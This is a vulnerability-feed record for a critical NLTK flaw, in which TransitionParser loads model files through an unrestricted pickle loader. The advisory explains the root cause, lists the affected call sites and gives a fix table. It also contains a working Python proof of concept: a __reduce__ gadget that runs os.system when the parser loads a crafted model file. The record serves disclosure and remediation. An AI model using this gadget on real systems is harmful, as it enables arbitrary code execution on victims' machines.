{"id":"CVE-2026-78683","aliases":["GHSA-rhp5-r9x4-f5g2","PYSEC-2026-3734"],"title":"NLTK: Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution","summary":"NLTK: Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution","severity":"critical","vendor":"nltk","product":"nltk","ecosystem":"pip","affected":["nltk < 3.10.0"],"patched":["nltk 3.10.0"],"published":"2026-09-08","updated":"2026-09-08","sourceUpdated":"2026-09-08T16:45:04.193165862Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-rhp5-r9x4-f5g2","references":[{"url":"https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78683"},{"url":"https://github.com/nltk/nltk/pull/3631"},{"url":"https://github.com/nltk/nltk/commit/f26b3753038d937b68145daf15e9636f8451053c"},{"url":"https://github.com/nltk/nltk"},{"url":"https://github.com/nltk/nltk/releases/tag/v3.10.0"},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3734.yaml"},{"url":"https://www.vulncheck.com/advisories/nltk-before-remote-code-execution-via-unsafe-pickle-deserialization"},{"url":"https://github.com/advisories/GHSA-rhp5-r9x4-f5g2"}],"tags":["osv","pip","ghsa"],"epss":0.00292,"epssPercentile":0.21937,"cwe":["CWE-502"],"ingestedAt":"2026-09-02T19:31:24.348Z","slug":"CVE-2026-78683","body":"## Overview\n\n## Summary\n\nThe NLTK library's `TransitionParser.parse()` method deserializes model files using `pickle_load()` with the default `restricted=False` parameter, allowing arbitrary Python code execution when loading a malicious model file. The library provides a `RestrictedUnpickler` class for safe deserialization, but it is never used by production code paths, leaving the vulnerability unpatched.\n\n## Root Cause\n\n**File:** `nltk/parse/transitionparser.py` (lines 542-557)\n\nThe `parse()` method calls `pickle_load(f)` without `restricted=True`, routing through `WarningUnpickler` which inherits from `pickle.Unpickler` and does NOT override `find_class()`. This allows arbitrary class/function resolution during unpickling, enabling RCE via standard pickle gadgets (e.g., `os.system`, `subprocess.Popen`).\n\n**Vulnerability chain in `nltk/picklesec.py`:**\n\n```python\ndef pickle_load(file, *, context=None, restricted=False):\n    if restricted:\n        return RestrictedUnpickler(file).load()  # Safe: blocks all globals\n    return WarningUnpickler(file, context=context).load()  # VULNERABLE PATH\n```\n\n`WarningUnpickler` only emits a warning but does NOT block unsafe class loading — it calls `super().load()` which is standard `pickle.Unpickler.load()`.\n\n**Why this is not by design:**\n- NLTK intentionally created `RestrictedUnpickler` to block unsafe deserialization\n- The `restricted=True` parameter exists in the API but is **never used** by any production code path\n- All call sites use the default `restricted=False`: `transitionparser.py:557`, `parse/chartparser_app.py:816`, `parse/chartparser_app.py:2273`, `parse/chartparser_app.py:2311`\n\n## Attack Surface\n\n**Entry point:** `TransitionParser().parse(depgraphs, modelFile)` receives a filesystem path with no validation.\n\n**Exploitation path:**\n1. Attacker places a malicious pickle file at a known or attacker-controlled location\n2. Victim calls `parser.parse(sentences, \"/path/to/malicious_model.pkl\")`\n3. `pickle_load()` deserializes the file with `restricted=False` (default)\n4. Standard pickle gadget chain executes arbitrary Python code with victim's privileges\n\n**Impact:** Remote code execution with the privileges of the user running the NLTK-dependent application. Affects researchers, data scientists, and automated ML pipelines using NLTK for parsing tasks.\n\n## Steps to Reproduce\n\n### Environment\n- NLTK version: 3.8.1+ (all versions with `transitionparser.py`)\n- Python 3.6+\n- No special dependencies required\n\n### Reproduction\n\n1. Create a malicious pickle file that uses `__reduce__` to execute a system command during deserialization.\n\n2. Call `TransitionParser().parse([], '/path/to/malicious_model.pkl')`.\n\n3. The `pickle_load(f)` call at `transitionparser.py:557` uses `restricted=False` by default, routing through `WarningUnpickler`, which does not override `find_class()` and permits full class resolution — executing the embedded gadget.\n\n4. Arbitrary code executes with the victim's privileges.\n\n### Proof That the Fix Works\n\nChanging line 557 in `transitionparser.py` from:\n```python\nmodel = pickle_load(f)\n```\nto:\n```python\nmodel = pickle_load(f, restricted=True)\n```\ncauses `RestrictedUnpickler` to raise an `UnpicklingError` and block execution, confirming the safe path prevents the attack.\n\n### Working PoC\n\n```python\nimport pickle\nimport os\nfrom nltk.parse.transitionparser import TransitionParser\n\n# Create malicious pickle with RCE payload\nclass Exploit:\n    def __reduce__(self):\n        return (os.system, ('touch /tmp/nltk_poc_triggered',))\n\nwith open('/tmp/malicious_model.pkl', 'wb') as f:\n    pickle.dump(Exploit(), f)\n\n# Trigger the vulnerable code path (requires algorithm argument in ≤ 3.9.4)\nparser = TransitionParser('arc-standard')      # or 'arc-eager'\nparser.parse([], '/tmp/malicious_model.pkl')   # loads and unpickles unsafely\n\n# Exploit succeeds: file /tmp/nltk_poc_triggered is created\n```\n\nOn NLTK ≥ 3.10.0 (patched), the same code fails with:\n\n```\n_pickle.UnpicklingError: global 'posix.system' is not in the pickle allowlist\n```\n\nThis proves the vulnerability exists in versions ≤ 3.9.4 and is fixed in 3.10.0+.\n\n## Recommended Fix\n\nChange all call sites to use `restricted=True`:\n\n| File | Line | Before | After |\n|------|------|--------|-------|\n| `nltk/parse/transitionparser.py` | 557 | `pickle_load(f)` | `pickle_load(f, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 816 | `pickle_load(model_data_file)` | `pickle_load(model_data_file, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 2273 | `pickle_load(file)` | `pickle_load(file, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 2311 | `pickle_load(fp)` | `pickle_load(fp, restricted=True)` |\n\n**Note:** This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in `RestrictedUnpickler.find_class()`.\n\n## Affected packages\n\n- `nltk < 3.10.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `nltk 3.10.0`","depth":"midnight","depthScore":52,"depthScoreParts":{"impact":52.3,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[{"seq":8219,"id":"CVE-2026-78683","ts":1788919993281,"field":"severity","old":"none","new":"critical"},{"seq":8028,"id":"CVE-2026-78683","ts":1788919280627,"field":"severity","old":"critical","new":"none"},{"seq":7837,"id":"CVE-2026-78683","ts":1788916353788,"field":"severity","old":"none","new":"critical"},{"seq":7646,"id":"CVE-2026-78683","ts":1788915297330,"field":"severity","old":"critical","new":"none"},{"seq":7455,"id":"CVE-2026-78683","ts":1788912713366,"field":"severity","old":"none","new":"critical"},{"seq":7264,"id":"CVE-2026-78683","ts":1788911331263,"field":"severity","old":"critical","new":"none"},{"seq":7068,"id":"CVE-2026-78683","ts":1788909076607,"field":"severity","old":"none","new":"critical"},{"seq":6880,"id":"CVE-2026-78683","ts":1788907391375,"field":"severity","old":"critical","new":"none"},{"seq":6682,"id":"CVE-2026-78683","ts":1788905442937,"field":"severity","old":"none","new":"critical"},{"seq":6500,"id":"CVE-2026-78683","ts":1788903459586,"field":"severity","old":"critical","new":"none"},{"seq":6290,"id":"CVE-2026-78683","ts":1788901809909,"field":"severity","old":"none","new":"critical"},{"seq":6120,"id":"CVE-2026-78683","ts":1788899562038,"field":"severity","old":"critical","new":"none"},{"seq":5923,"id":"CVE-2026-78683","ts":1788898179182,"field":"severity","old":"none","new":"critical"},{"seq":5812,"id":"CVE-2026-78683","ts":1788895711064,"field":"severity","old":"critical","new":"none"},{"seq":5678,"id":"CVE-2026-78683","ts":1788894533616,"field":"severity","old":"none","new":"critical"},{"seq":5636,"id":"CVE-2026-78683","ts":1788891871373,"field":"severity","old":"critical","new":"none"},{"seq":5569,"id":"CVE-2026-78683","ts":1788888673065,"field":"severity","old":"none","new":"critical"},{"seq":5560,"id":"CVE-2026-78683","ts":1788888071540,"field":"severity","old":"critical","new":"none"},{"seq":5480,"id":"CVE-2026-78683","ts":1788887288572,"field":"severity","old":"none","new":"critical"}]}